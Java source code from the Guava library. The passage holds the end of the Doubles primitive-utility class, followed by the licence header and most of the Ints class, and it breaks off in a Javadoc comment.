@GwtCompatible(emulated = true) @ElementTypesAreNonnullByDefault public final class Doubles extends DoublesMethodsForWeb { private Doubles() {} /** * The number of bytes required to represent a primitive {@code double} value. * * <p><b>Java 8+ users:</b> use {@link Double#BYTES} instead. * * @since 10.0 */ public static final int BYTES = Double.SIZE / Byte.SIZE; /** * Returns a hash code for {@code value}; equal to the result of invoking {@code ((Double) * value).hashCode()}. * * <p><b>Java 8+ users:</b> use {@link Double#hashCode(double)} instead. * * @param value a primitive {@code double} value * @return a hash code for the value */ public static int hashCode(double value) { return ((Double) value).hashCode(); // TODO(kevinb): do it this way when we can (GWT problem): // long bits = Double.doubleToLongBits(value); // return (int) (bits ^ (bits >>> 32)); } /** * Compares the two specified {@code double} values. The sign of the value returned is the same as * that of <code>((Double) a).{@linkplain Double#compareTo compareTo}(b)</code>. As with that * method, {@code NaN} is treated as greater than all other values, and {@code 0.0 > -0.0}. * * <p><b>Note:</b> this method simply delegates to the JDK method {@link Double#compare}. It is * provided for consistency with the other primitive types, whose compare methods were not added * to the JDK until JDK 7. * * @param a the first {@code double} to compare * @param b the second {@code double} to compare * @return a negative value if {@code a} is less than {@code b}; a positive value if {@code a} is * greater than {@code b}; or zero if they are equal */ public static int compare(double a, double b) { return Double.compare(a, b); } /** * Returns {@code true} if {@code value} represents a real number. This is equivalent to, but not * necessarily implemented as, {@code !(Double.isInfinite(value) || Double.isNaN(value))}. * * <p><b>Java 8+ users:</b> use {@link Double#isFinite(double)} instead. * * @since 10.0 */ public static boolean isFinite(double value) { return NEGATIVE_INFINITY < value && value < POSITIVE_INFINITY; } /** * Returns {@code true} if {@code target} is present as an element anywhere in {@code array}. Note * that this always returns {@code false} when {@code target} is {@code NaN}. * * @param array an array of {@code double} values, possibly empty * @param target a primitive {@code double} value * @return {@code true} if {@code array[i] == target} for some value of {@code i} */ public static boolean contains(double[] array, double target) { for (double value : array) { if (value == target) { return true; } } return false; } /** * Returns the index of the first appearance of the value {@code target} in {@code array}. Note * that this always returns {@code -1} when {@code target} is {@code NaN}. * * @param array an array of {@code double} values, possibly empty * @param target a primitive {@code double} value * @return the least index {@code i} for which {@code array[i] == target}, or {@code -1} if no * such index exists. */ public static int indexOf(double[] array, double target) { return indexOf(array, target, 0, array.length); } // TODO(kevinb): consider making this public private static int indexOf(double[] array, double target, int start, int end) { for (int i = start; i < end; i++) { if (array[i] == target) { return i; } } return -1; } /** * Returns the start position of the first occurrence of the specified {@code target} within * {@code array}, or {@code -1} if there is no such occurrence. * * <p>More formally, returns the lowest index {@code i} such that {@code Arrays.copyOfRange(array, * i, i + target.length)} contains exactly the same elements as {@code target}. * * <p>Note that this always returns {@code -1} when {@code target} contains {@code NaN}. * * @param array the array to search for the sequence {@code target} * @param target the array to search for as a sub-sequence of {@code array} */ public static int indexOf(double[] array, double[] target) { checkNotNull(array, "array"); checkNotNull(target, "target"); if (target.length == 0) { return 0; } outer: for (int i = 0; i < array.length - target.length + 1; i++) { for (int j = 0; j < target.length; j++) { if (array[i + j] != target[j]) { continue outer; } } return i; } return -1; } /** * Returns the index of the last appearance of the value {@code target} in {@code array}. Note * that this always returns {@code -1} when {@code target} is {@code NaN}. * * @param array an array of {@code double} values, possibly empty * @param target a primitive {@code double} value * @return the greatest index {@code i} for which {@code array[i] == target}, or {@code -1} if no * such index exists. */ public static int lastIndexOf(double[] array, double target) { return lastIndexOf(array, target, 0, array.length); } // TODO(kevinb): consider making this public private static int lastIndexOf(double[] array, double target, int start, int end) { for (int i = end - 1; i >= start; i--) { if (array[i] == target) { return i; } } return -1; } /** * Returns the least value present in {@code array}, using the same rules of comparison as {@link * Math#min(double, double)}. * * @param array a <i>nonempty</i> array of {@code double} values * @return the value present in {@code array} that is less than or equal to every other value in * the array * @throws IllegalArgumentException if {@code array} is empty */ @GwtIncompatible( "Available in GWT! Annotation is to avoid conflict with GWT specialization of base class.") public static double min(double... array) { checkArgument(array.length > 0); double min = array[0]; for (int i = 1; i < array.length; i++) { min = Math.min(min, array[i]); } return min; } /** * Returns the greatest value present in {@code array}, using the same rules of comparison as * {@link Math#max(double, double)}. * * @param array a <i>nonempty</i> array of {@code double} values * @return the value present in {@code array} that is greater than or equal to every other value * in the array * @throws IllegalArgumentException if {@code array} is empty */ @GwtIncompatible( "Available in GWT! Annotation is to avoid conflict with GWT specialization of base class.") public static double max(double... array) { checkArgument(array.length > 0); double max = array[0]; for (int i = 1; i < array.length; i++) { max = Math.max(max, array[i]); } return max; } /** * Returns the value nearest to {@code value} which is within the closed range {@code [min..max]}. * * <p>If {@code value} is within the range {@code [min..max]}, {@code value} is returned * unchanged. If {@code value} is less than {@code min}, {@code min} is returned, and if {@code * value} is greater than {@code max}, {@code max} is returned. * * @param value the {@code double} value to constrain * @param min the lower bound (inclusive) of the range to constrain {@code value} to * @param max the upper bound (inclusive) of the range to constrain {@code value} to * @throws IllegalArgumentException if {@code min > max} * @since 21.0 */ public static double constrainToRange(double value, double min, double max) { // avoid auto-boxing by not using Preconditions.checkArgument(); see Guava issue 3984 // Reject NaN by testing for the good case (min <= max) instead of the bad (min > max). if (min <= max) { return Math.min(Math.max(value, min), max); } throw new IllegalArgumentException( lenientFormat("min (%s) must be less than or equal to max (%s)", min, max)); } /** * Returns the values from each provided array combined into a single array. For example, {@code * concat(new double[] {a, b}, new double[] {}, new double[] {c}} returns the array {@code {a, b, * c}}. * * @param arrays zero or more {@code double} arrays * @return a single array containing all the values from the source arrays, in order */ public static double[] concat(double[]... arrays) { int length = 0; for (double[] array : arrays) { length += array.length; } double[] result = new double[length]; int pos = 0; for (double[] array : arrays) { System.arraycopy(array, 0, result, pos, array.length); pos += array.length; } return result; } private static final class DoubleConverter extends Converter<String, Double> implements Serializable { static final Converter<String, Double> INSTANCE = new DoubleConverter(); @Override protected Double doForward(String value) { return Double.valueOf(value); } @Override protected String doBackward(Double value) { return value.toString(); } @Override public String toString() { return "Doubles.stringConverter()"; } private Object readResolve() { return INSTANCE; } private static final long serialVersionUID = 1; } /** * Returns a serializable converter object that converts between strings and doubles using {@link * Double#valueOf} and {@link Double#toString()}. * * @since 16.0 */ public static Converter<String, Double> stringConverter() { return DoubleConverter.INSTANCE; } /** * Returns an array containing the same values as {@code array}, but guaranteed to be of a * specified minimum length. If {@code array} already has a length of at least {@code minLength}, * it is returned directly. Otherwise, a new array of size {@code minLength + padding} is * returned, containing the values of {@code array}, and zeroes in the remaining places. * * @param array the source array * @param minLength the minimum length the returned array must guarantee * @param padding an extra amount to "grow" the array by if growth is necessary * @throws IllegalArgumentException if {@code minLength} or {@code padding} is negative * @return an array containing the values of {@code array}, with guaranteed minimum length {@code * minLength} */ public static double[] ensureCapacity(double[] array, int minLength, int padding) { checkArgument(minLength >= 0, "Invalid minLength: %s", minLength); checkArgument(padding >= 0, "Invalid padding: %s", padding); return (array.length < minLength) ? Arrays.copyOf(array, minLength + padding) : array; } /** * Returns a string containing the supplied {@code double} values, converted to strings as * specified by {@link Double#toString(double)}, and separated by {@code separator}. For example, * {@code join("-", 1.0, 2.0, 3.0)} returns the string {@code "1.0-2.0-3.0"}. * * <p>Note that {@link Double#toString(double)} formats {@code double} differently in GWT * sometimes. In the previous example, it returns the string {@code "1-2-3"}. * * @param separator the text that should appear between consecutive values in the resulting string * (but not at the start or end) * @param array an array of {@code double} values, possibly empty */ public static String join(String separator, double... array) { checkNotNull(separator); if (array.length == 0) { return ""; } // For pre-sizing a builder, just get the right order of magnitude StringBuilder builder = new StringBuilder(array.length * 12); builder.append(array[0]); for (int i = 1; i < array.length; i++) { builder.append(separator).append(array[i]); } return builder.toString(); } /** * Returns a comparator that compares two {@code double} arrays <a * href="http://en.wikipedia.org/wiki/Lexicographical_order">lexicographically</a>. That is, it * compares, using {@link #compare(double, double)}), the first pair of values that follow any * common prefix, or when one array is a prefix of the other, treats the shorter array as the * lesser. For example, {@code [] < [1.0] < [1.0, 2.0] < [2.0]}. * * <p>The returned comparator is inconsistent with {@link Object#equals(Object)} (since arrays * support only identity equality), but it is consistent with {@link Arrays#equals(double[], * double[])}. * * @since 2.0 */ public static Comparator<double[]> lexicographicalComparator() { return LexicographicalComparator.INSTANCE; } private enum LexicographicalComparator implements Comparator<double[]> { INSTANCE; @Override public int compare(double[] left, double[] right) { int minLength = Math.min(left.length, right.length); for (int i = 0; i < minLength; i++) { int result = Double.compare(left[i], right[i]); if (result != 0) { return result; } } return left.length - right.length; } @Override public String toString() { return "Doubles.lexicographicalComparator()"; } } /** * Sorts the elements of {@code array} in descending order. * * <p>Note that this method uses the total order imposed by {@link Double#compare}, which treats * all NaN values as equal and 0.0 as greater than -0.0. * * @since 23.1 */ public static void sortDescending(double[] array) { checkNotNull(array); sortDescending(array, 0, array.length); } /** * Sorts the elements of {@code array} between {@code fromIndex} inclusive and {@code toIndex} * exclusive in descending order. * * <p>Note that this method uses the total order imposed by {@link Double#compare}, which treats * all NaN values as equal and 0.0 as greater than -0.0. * * @since 23.1 */ public static void sortDescending(double[] array, int fromIndex, int toIndex) { checkNotNull(array); checkPositionIndexes(fromIndex, toIndex, array.length); Arrays.sort(array, fromIndex, toIndex); reverse(array, fromIndex, toIndex); } /** * Reverses the elements of {@code array}. This is equivalent to {@code * Collections.reverse(Doubles.asList(array))}, but is likely to be more efficient. * * @since 23.1 */ public static void reverse(double[] array) { checkNotNull(array); reverse(array, 0, array.length); } /** * Reverses the elements of {@code array} between {@code fromIndex} inclusive and {@code toIndex} * exclusive. This is equivalent to {@code * Collections.reverse(Doubles.asList(array).subList(fromIndex, toIndex))}, but is likely to be * more efficient. * * @throws IndexOutOfBoundsException if {@code fromIndex < 0}, {@code toIndex > array.length}, or * {@code toIndex > fromIndex} * @since 23.1 */ public static void reverse(double[] array, int fromIndex, int toIndex) { checkNotNull(array); checkPositionIndexes(fromIndex, toIndex, array.length); for (int i = fromIndex, j = toIndex - 1; i < j; i++, j--) { double tmp = array[i]; array[i] = array[j]; array[j] = tmp; } } /** * Performs a right rotation of {@code array} of "distance" places, so that the first element is * moved to index "distance", and the element at index {@code i} ends up at index {@code (distance * + i) mod array.length}. This is equivalent to {@code Collections.rotate(Bytes.asList(array), * distance)}, but is considerably faster and avoids allocation and garbage collection. * * <p>The provided "distance" may be negative, which will rotate left. * * @since 32.0.0 */ public static void rotate(double[] array, int distance) { rotate(array, distance, 0, array.length); } /** * Performs a right rotation of {@code array} between {@code fromIndex} inclusive and {@code * toIndex} exclusive. This is equivalent to {@code * Collections.rotate(Bytes.asList(array).subList(fromIndex, toIndex), distance)}, but is * considerably faster and avoids allocations and garbage collection. * * <p>The provided "distance" may be negative, which will rotate left. * * @throws IndexOutOfBoundsException if {@code fromIndex < 0}, {@code toIndex > array.length}, or * {@code toIndex > fromIndex} * @since 32.0.0 */ public static void rotate(double[] array, int distance, int fromIndex, int toIndex) { // See Ints.rotate for more details about possible algorithms here. checkNotNull(array); checkPositionIndexes(fromIndex, toIndex, array.length); if (array.length <= 1) { return; } int length = toIndex - fromIndex; // Obtain m = (-distance mod length), a non-negative value less than "length". This is how many // places left to rotate. int m = -distance % length; m = (m < 0) ? m + length : m; // The current index of what will become the first element of the rotated section. int newFirstIndex = m + fromIndex; if (newFirstIndex == fromIndex) { return; } reverse(array, fromIndex, newFirstIndex); reverse(array, newFirstIndex, toIndex); reverse(array, fromIndex, toIndex); } /** * Returns an array containing each value of {@code collection}, converted to a {@code double} * value in the manner of {@link Number#doubleValue}. * * <p>Elements are copied from the argument collection as if by {@code collection.toArray()}. * Calling this method is as thread-safe as calling that method. * * @param collection a collection of {@code Number} instances * @return an array containing the same values as {@code collection}, in the same order, converted * to primitives * @throws NullPointerException if {@code collection} or any of its elements is null * @since 1.0 (parameter was {@code Collection<Double>} before 12.0) */ public static double[] toArray(Collection<? extends Number> collection) { if (collection instanceof DoubleArrayAsList) { return ((DoubleArrayAsList) collection).toDoubleArray(); } Object[] boxedArray = collection.toArray(); int len = boxedArray.length; double[] array = new double[len]; for (int i = 0; i < len; i++) { // checkNotNull for GWT (do not optimize) array[i] = ((Number) checkNotNull(boxedArray[i])).doubleValue(); } return array; } /** * Returns a fixed-size list backed by the specified array, similar to {@link * Arrays#asList(Object[])}. The list supports {@link List#set(int, Object)}, but any attempt to * set a value to {@code null} will result in a {@link NullPointerException}. * * <p>The returned list maintains the values, but not the identities, of {@code Double} objects * written to or read from it. For example, whether {@code list.get(0) == list.get(0)} is true for * the returned list is unspecified. * * <p>The returned list may have unexpected behavior if it contains {@code NaN}, or if {@code NaN} * is used as a parameter to any of its methods. * * <p>The returned list is serializable. * * <p><b>Note:</b> when possible, you should represent your data as an {@link * ImmutableDoubleArray} instead, which has an {@link ImmutableDoubleArray#asList asList} view. * * @param backingArray the array to back the list * @return a list view of the array */ public static List<Double> asList(double... backingArray) { if (backingArray.length == 0) { return Collections.emptyList(); } return new DoubleArrayAsList(backingArray); } @GwtCompatible private static class DoubleArrayAsList extends AbstractList<Double> implements RandomAccess, Serializable { final double[] array; final int start; final int end; DoubleArrayAsList(double[] array) { this(array, 0, array.length); } DoubleArrayAsList(double[] array, int start, int end) { this.array = array; this.start = start; this.end = end; } @Override public int size() { return end - start; } @Override public boolean isEmpty() { return false; } @Override public Double get(int index) { checkElementIndex(index, size()); return array[start + index]; } @Override public Spliterator.OfDouble spliterator() { return Spliterators.spliterator(array, start, end, 0); } @Override public boolean contains(@CheckForNull Object target) { // Overridden to prevent a ton of boxing return (target instanceof Double) && Doubles.indexOf(array, (Double) target, start, end) != -1; } @Override public int indexOf(@CheckForNull Object target) { // Overridden to prevent a ton of boxing if (target instanceof Double) { int i = Doubles.indexOf(array, (Double) target, start, end); if (i >= 0) { return i - start; } } return -1; } @Override public int lastIndexOf(@CheckForNull Object target) { // Overridden to prevent a ton of boxing if (target instanceof Double) { int i = Doubles.lastIndexOf(array, (Double) target, start, end); if (i >= 0) { return i - start; } } return -1; } @Override public Double set(int index, Double element) { checkElementIndex(index, size()); double oldValue = array[start + index]; // checkNotNull for GWT (do not optimize) array[start + index] = checkNotNull(element); return oldValue; } @Override public List<Double> subList(int fromIndex, int toIndex) { int size = size(); checkPositionIndexes(fromIndex, toIndex, size); if (fromIndex == toIndex) { return Collections.emptyList(); } return new DoubleArrayAsList(array, start + fromIndex, start + toIndex); } @Override public boolean equals(@CheckForNull Object object) { if (object == this) { return true; } if (object instanceof DoubleArrayAsList) { DoubleArrayAsList that = (DoubleArrayAsList) object; int size = size(); if (that.size() != size) { return false; } for (int i = 0; i < size; i++) { if (array[start + i] != that.array[that.start + i]) { return false; } } return true; } return super.equals(object); } @Override public int hashCode() { int result = 1; for (int i = start; i < end; i++) { result = 31 * result + Doubles.hashCode(array[i]); } return result; } @Override public String toString() { StringBuilder builder = new StringBuilder(size() * 12); builder.append('[').append(array[start]); for (int i = start + 1; i < end; i++) { builder.append(", ").append(array[i]); } return builder.append(']').toString(); } double[] toDoubleArray() { return Arrays.copyOfRange(array, start, end); } private static final long serialVersionUID = 0; } /** * This is adapted from the regex suggested by {@link Double#valueOf(String)} for prevalidating * inputs. All valid inputs must pass this regex, but it's semantically fine if not all inputs * that pass this regex are valid -- only a performance hit is incurred, not a semantics bug. */ @GwtIncompatible // regular expressions static final java.util.regex.Pattern FLOATING_POINT_PATTERN = fpPattern(); @GwtIncompatible // regular expressions private static java.util.regex.Pattern fpPattern() { /* * We use # instead of * for possessive quantifiers. This lets us strip them out when building * the regex for RE2 (which doesn't support them) but leave them in when building it for * java.util.regex (where we want them in order to avoid catastrophic backtracking). */ String decimal = "(?:\\d+#(?:\\.\\d*#)?|\\.\\d+#)"; String completeDec = decimal + "(?:[eE][+-]?\\d+#)?[fFdD]?"; String hex = "(?:[0-9a-fA-F]+#(?:\\.[0-9a-fA-F]*#)?|\\.[0-9a-fA-F]+#)"; String completeHex = "0[xX]" + hex + "[pP][+-]?\\d+#[fFdD]?"; String fpPattern = "[+-]?(?:NaN|Infinity|" + completeDec + "|" + completeHex + ")"; fpPattern = fpPattern.replace( "#", "+" ); return java.util.regex.Pattern .compile(fpPattern); } /** * Parses the specified string as a double-precision floating point value. The ASCII character * {@code '-'} (<code>'&#92;u002D'</code>) is recognized as the minus sign. * * <p>Unlike {@link Double#parseDouble(String)}, this method returns {@code null} instead of * throwing an exception if parsing fails. Valid inputs are exactly those accepted by {@link * Double#valueOf(String)}, except that leading and trailing whitespace is not permitted. * * <p>This implementation is likely to be faster than {@code Double.parseDouble} if many failures * are expected. * * @param string the string representation of a {@code double} value * @return the floating point value represented by {@code string}, or {@code null} if {@code * string} has a length of zero or cannot be parsed as a {@code double} value * @throws NullPointerException if {@code string} is {@code null} * @since 14.0 */ @GwtIncompatible // regular expressions @CheckForNull public static Double tryParse(String string) { if (FLOATING_POINT_PATTERN.matcher(string).matches()) { // TODO(lowasser): could be potentially optimized, but only with // extensive testing try { return Double.parseDouble(string); } catch (NumberFormatException e) { // Double.parseDouble has changed specs several times, so fall through // gracefully } } return null; } }
google/guava
guava/src/com/google/common/primitives/Doubles.java
336
/* * Copyright (C) 2008 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.primitives; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkElementIndex; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Preconditions.checkPositionIndexes; import com.google.common.annotations.GwtCompatible; import com.google.common.annotations.GwtIncompatible; import com.google.common.base.Converter; import java.io.Serializable; import java.util.AbstractList; import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.List; import java.util.RandomAccess; import java.util.Spliterator; import java.util.Spliterators; import javax.annotation.CheckForNull; /** * Static utility methods pertaining to {@code int} primitives, that are not already found in either * {@link Integer} or {@link Arrays}. * * <p>See the Guava User Guide article on <a * href="https://github.com/google/guava/wiki/PrimitivesExplained">primitive utilities</a>. * * @author Kevin Bourrillion * @since 1.0 */ @GwtCompatible(emulated = true) @ElementTypesAreNonnullByDefault public final class Ints extends IntsMethodsForWeb { private Ints() {} /** * The number of bytes required to represent a primitive {@code int} value. * * <p><b>Java 8+ users:</b> use {@link Integer#BYTES} instead. */ public static final int BYTES = Integer.SIZE / Byte.SIZE; /** * The largest power of two that can be represented as an {@code int}. * * @since 10.0 */ public static final int MAX_POWER_OF_TWO = 1 << (Integer.SIZE - 2); /** * Returns a hash code for {@code value}; equal to the result of invoking {@code ((Integer) * value).hashCode()}. * * <p><b>Java 8+ users:</b> use {@link Integer#hashCode(int)} instead. * * @param value a primitive {@code int} value * @return a hash code for the value */ public static int hashCode(int value) { return value; } /** * Returns the {@code int} value that is equal to {@code value}, if possible. * * @param value any value in the range of the {@code int} type * @return the {@code int} value that equals {@code value} * @throws IllegalArgumentException if {@code value} is greater than {@link Integer#MAX_VALUE} or * less than {@link Integer#MIN_VALUE} */ public static int checkedCast(long value) { int result = (int) value; checkArgument(result == value, "Out of range: %s", value); return result; } /** * Returns the {@code int} nearest in value to {@code value}. * * @param value any {@code long} value * @return the same value cast to {@code int} if it is in the range of the {@code int} type, * {@link Integer#MAX_VALUE} if it is too large, or {@link Integer#MIN_VALUE} if it is too * small */ public static int saturatedCast(long value) { if (value > Integer.MAX_VALUE) { return Integer.MAX_VALUE; } if (value < Integer.MIN_VALUE) { return Integer.MIN_VALUE; } return (int) value; } /** * Compares the two specified {@code int} values. The sign of the value returned is the same as * that of {@code ((Integer) a).compareTo(b)}. * * <p><b>Java 7+ users:</b> this method should be treated as deprecated; use the equivalent {@link * Integer#compare} method instead. * * @param a the first {@code int} to compare * @param b the second {@code int} to compare * @return a negative value if {@code a} is less than {@code b}; a positive value if {@code a} is * greater than {@code b}; or zero if they are equal */ public static int compare(int a, int b) { return (a < b) ? -1 : ((a > b) ? 1 : 0); } /** * Returns {@code true} if {@code target} is present as an element anywhere in {@code array}. * * @param array an array of {@code int} values, possibly empty * @param target a primitive {@code int} value * @return {@code true} if {@code array[i] == target} for some value of {@code i} */ public static boolean contains(int[] array, int target) { for (int value : array) { if (value == target) { return true; } } return false; } /** * Returns the index of the first appearance of the value {@code target} in {@code array}. * * @param array an array of {@code int} values, possibly empty * @param target a primitive {@code int} value * @return the least index {@code i} for which {@code array[i] == target}, or {@code -1} if no * such index exists. */ public static int indexOf(int[] array, int target) { return indexOf(array, target, 0, array.length); } // TODO(kevinb): consider making this public private static int indexOf(int[] array, int target, int start, int end) { for (int i = start; i < end; i++) { if (array[i] == target) { return i; } } return -1; } /** * Returns the start position of the first occurrence of the specified {@code target} within * {@code array}, or {@code -1} if there is no such occurrence. * * <p>More formally, returns the lowest index {@code i} such that {@code Arrays.copyOfRange(array, * i, i + target.length)} contains exactly the same elements as {@code target}. * * @param array the array to search for the sequence {@code target} * @param target the array to search for as a sub-sequence of {@code array} */ public static int indexOf(int[] array, int[] target) { checkNotNull(array, "array"); checkNotNull(target, "target"); if (target.length == 0) { return 0; } outer: for (int i = 0; i < array.length - target.length + 1; i++) { for (int j = 0; j < target.length; j++) { if (array[i + j] != target[j]) { continue outer; } } return i; } return -1; } /** * Returns the index of the last appearance of the value {@code target} in {@code array}. * * @param array an array of {@code int} values, possibly empty * @param target a primitive {@code int} value * @return the greatest index {@code i} for which {@code array[i] == target}, or {@code -1} if no * such index exists. */ public static int lastIndexOf(int[] array, int target) { return lastIndexOf(array, target, 0, array.length); } // TODO(kevinb): consider making this public private static int lastIndexOf(int[] array, int target, int start, int end) { for (int i = end - 1; i >= start; i--) { if (array[i] == target) { return i; } } return -1; } /** * Returns the least value present in {@code array}. * * @param array a <i>nonempty</i> array of {@code int} values * @return the value present in {@code array} that is less than or equal to every other value in * the array * @throws IllegalArgumentException if {@code array} is empty */ @GwtIncompatible( "Available in GWT! Annotation is to avoid conflict with GWT specialization of base class.") public static int min(int... array) { checkArgument(array.length > 0); int min = array[0]; for (int i = 1; i < array.length; i++) { if (array[i] < min) { min = array[i]; } } return min; } /** * Returns the greatest value present in {@code array}. * * @param array a <i>nonempty</i> array of {@code int} values * @return the value present in {@code array} that is greater than or equal to every other value * in the array * @throws IllegalArgumentException if {@code array} is empty */ @GwtIncompatible( "Available in GWT! Annotation is to avoid conflict with GWT specialization of base class.") public static int max(int... array) { checkArgument(array.length > 0); int max = array[0]; for (int i = 1; i < array.length; i++) { if (array[i] > max) { max = array[i]; } } return max; } /** * Returns the value nearest to {@code value} which is within the closed range {@code [min..max]}. * * <p>If {@code value} is within the range {@code [min..max]}, {@code value} is returned * unchanged. If {@code value} is less than {@code min}, {@code min} is returned, and if {@code * value} is greater than {@code max}, {@code max} is returned. * * @param value the {@code int} value to constrain * @param min the lower bound (inclusive) of the range to constrain {@code value} to * @param max the upper bound (inclusive) of the range to constrain {@code value} to * @throws IllegalArgumentException if {@code min > max} * @since 21.0 */ public static int constrainToRange(int value, int min, int max) { checkArgument(min <= max, "min (%s) must be less than or equal to max (%s)", min, max); return Math.min(Math.max(value, min), max); } /** * Returns the values from each provided array combined into a single array. For example, {@code * concat(new int[] {a, b}, new int[] {}, new int[] {c}} returns the array {@code {a, b, c}}. * * @param arrays zero or more {@code int} arrays * @return a single array containing all the values from the source arrays, in order */ public static int[] concat(int[]... arrays) { int length = 0; for (int[] array : arrays) { length += array.length; } int[] result = new int[length]; int pos = 0; for (int[] array : arrays) { System.arraycopy(array, 0, result, pos, array.length); pos += array.length; } return result; } /** * Returns a big-endian representation of {@code value} in a 4-element byte array; equivalent to * {@code ByteBuffer.allocate(4).putInt(value).array()}. For example, the input value {@code * 0x12131415} would yield the byte array {@code {0x12, 0x13, 0x14, 0x15}}. * * <p>If you need to convert and concatenate several values (possibly even of different types), * use a shared {@link java.nio.ByteBuffer} instance, or use {@link * com.google.common.io.ByteStreams#newDataOutput()} to get a growable buffer. */ public static byte[] toByteArray(int value) { return new byte[] { (byte) (value >> 24), (byte) (value >> 16), (byte) (value >> 8), (byte) value }; } /** * Returns the {@code int} value whose big-endian representation is stored in the first 4 bytes of * {@code bytes}; equivalent to {@code ByteBuffer.wrap(bytes).getInt()}. For example, the input * byte array {@code {0x12, 0x13, 0x14, 0x15, 0x33}} would yield the {@code int} value {@code * 0x12131415}. * * <p>Arguably, it's preferable to use {@link java.nio.ByteBuffer}; that library exposes much more * flexibility at little cost in readability. * * @throws IllegalArgumentException if {@code bytes} has fewer than 4 elements */ public static int fromByteArray(byte[] bytes) { checkArgument(bytes.length >= BYTES, "array too small: %s < %s", bytes.length, BYTES); return fromBytes(bytes[0], bytes[1], bytes[2], bytes[3]); } /** * Returns the {@code int} value whose byte representation is the given 4 bytes, in big-endian * order; equivalent to {@code Ints.fromByteArray(new byte[] {b1, b2, b3, b4})}. * * @since 7.0 */ public static int fromBytes(byte b1, byte b2, byte b3, byte b4) { return b1 << 24 | (b2 & 0xFF) << 16 | (b3 & 0xFF) << 8 | (b4 & 0xFF); } private static final class IntConverter extends Converter<String, Integer> implements Serializable { static final Converter<String, Integer> INSTANCE = new IntConverter(); @Override protected Integer doForward(String value) { return Integer.decode(value); } @Override protected String doBackward(Integer value) { return value.toString(); } @Override public String toString() { return "Ints.stringConverter()"; } private Object readResolve() { return INSTANCE; } private static final long serialVersionUID = 1; } /** * Returns a serializable converter object that converts between strings and integers using {@link * Integer#decode} and {@link Integer#toString()}. The returned converter throws {@link * NumberFormatException} if the input string is invalid. * * <p><b>Warning:</b> please see {@link Integer#decode} to understand exactly how strings are * parsed. For example, the string {@code "0123"} is treated as <i>octal</i> and converted to the * value {@code 83}. * * @since 16.0 */ public static Converter<String, Integer> stringConverter() { return IntConverter.INSTANCE; } /** * Returns an array containing the same values as {@code array}, but guaranteed to be of a * specified minimum length. If {@code array} already has a length of at least {@code minLength}, * it is returned directly. Otherwise, a new array of size {@code minLength + padding} is * returned, containing the values of {@code array}, and zeroes in the remaining places. * * @param array the source array * @param minLength the minimum length the returned array must guarantee * @param padding an extra amount to "grow" the array by if growth is necessary * @throws IllegalArgumentException if {@code minLength} or {@code padding} is negative * @return an array containing the values of {@code array}, with guaranteed minimum length {@code * minLength} */ public static int[] ensureCapacity(int[] array, int minLength, int padding) { checkArgument(minLength >= 0, "Invalid minLength: %s", minLength); checkArgument(padding >= 0, "Invalid padding: %s", padding); return (array.length < minLength) ? Arrays.copyOf(array, minLength + padding) : array; } /** * Returns a string containing the supplied {@code int} values separated by {@code separator}. For * example, {@code join("-", 1, 2, 3)} returns the string {@code "1-2-3"}. * * @param separator the text that should appear between consecutive values in the resulting string * (but not at the start or end) * @param array an array of {@code int} values, possibly empty */ public static String join(String separator, int... array) { checkNotNull(separator); if (array.length == 0) { return ""; } // For pre-sizing a builder, just get the right order of magnitude StringBuilder builder = new StringBuilder(array.length * 5); builder.append(array[0]); for (int i = 1; i < array.length; i++) { builder.append(separator).append(array[i]); } return builder.toString(); } /** * Returns a comparator that compares two {@code int} arrays <a * href="http://en.wikipedia.org/wiki/Lexicographical_order">lexicographically</a>. That is, it * compares, using {@link #compare(int, int)}), the first pair of values that follow any common * prefix, or when one array is a prefix of the other, treats the shorter array as the lesser. For * example, {@code [] < [1] < [1, 2] < [2]}. * * <p>The returned comparator is inconsistent with {@link Object#equals(Object)} (since arrays * support only identity equality), but it is consistent with {@link Arrays#equals(int[], int[])}. * * @since 2.0 */ public static Comparator<int[]> lexicographicalComparator() { return LexicographicalComparator.INSTANCE; } private enum LexicographicalComparator implements Comparator<int[]> { INSTANCE; @Override public int compare(int[] left, int[] right) { int minLength = Math.min(left.length, right.length); for (int i = 0; i < minLength; i++) { int result = Ints.compare(left[i], right[i]); if (result != 0) { return result; } } return left.length - right.length; } @Override public String toString() { return "Ints.lexicographicalComparator()"; } } /** * Sorts the elements of {@code array} in descending order. * * @since 23.1 */ public static void sortDescending(int[] array) { checkNotNull(array); sortDescending(array, 0, array.length); } /** * Sorts the elements of {@code array} between {@code fromIndex} inclusive and {@code toIndex} * exclusive in descending order. * * @since 23.1 */ public static void sortDescending(int[] array, int fromIndex, int toIndex) { checkNotNull(array); checkPositionIndexes(fromIndex, toIndex, array.length); Arrays.sort(array, fromIndex, toIndex); reverse(array, fromIndex, toIndex); } /** * Reverses the elements of {@code array}. This is equivalent to {@code * Collections.reverse(Ints.asList(array))}, but is likely to be more efficient. * * @since 23.1 */ public static void reverse(int[] array) { checkNotNull(array); reverse(array, 0, array.length); } /** * Reverses the elements of {@code array} between {@code fromIndex} inclusive and {@code toIndex} * exclusive. This is equivalent to {@code * Collections.reverse(Ints.asList(array).subList(fromIndex, toIndex))}, but is likely to be more * efficient. * * @throws IndexOutOfBoundsException if {@code fromIndex < 0}, {@code toIndex > array.length}, or * {@code toIndex > fromIndex} * @since 23.1 */ public static void reverse(int[] array, int fromIndex, int toIndex) { checkNotNull(array); checkPositionIndexes(fromIndex, toIndex, array.length); for (int i = fromIndex, j = toIndex - 1; i < j; i++, j--) { int tmp = array[i]; array[i] = array[j]; array[j] = tmp; } } /** * Performs a right rotation of {@code array} of "distance" places, so that the first element is * moved to index "distance", and the element at index {@code i} ends up at index {@code (distance * + i) mod array.length}. This is equivalent to {@code Collections.rotate(Ints.asList(array), * distance)}, but is considerably faster and avoids allocation and garbage collection. * * <p>The provided "distance" may be negative, which will rotate left. * * @since 32.0.0 */ public static void rotate(int[] array, int distance) { rotate(array, distance, 0, array.length); } /** * Performs a right rotation of {@code array} between {@code fromIndex} inclusive and {@code * toIndex} exclusive. This is equivalent to {@code * 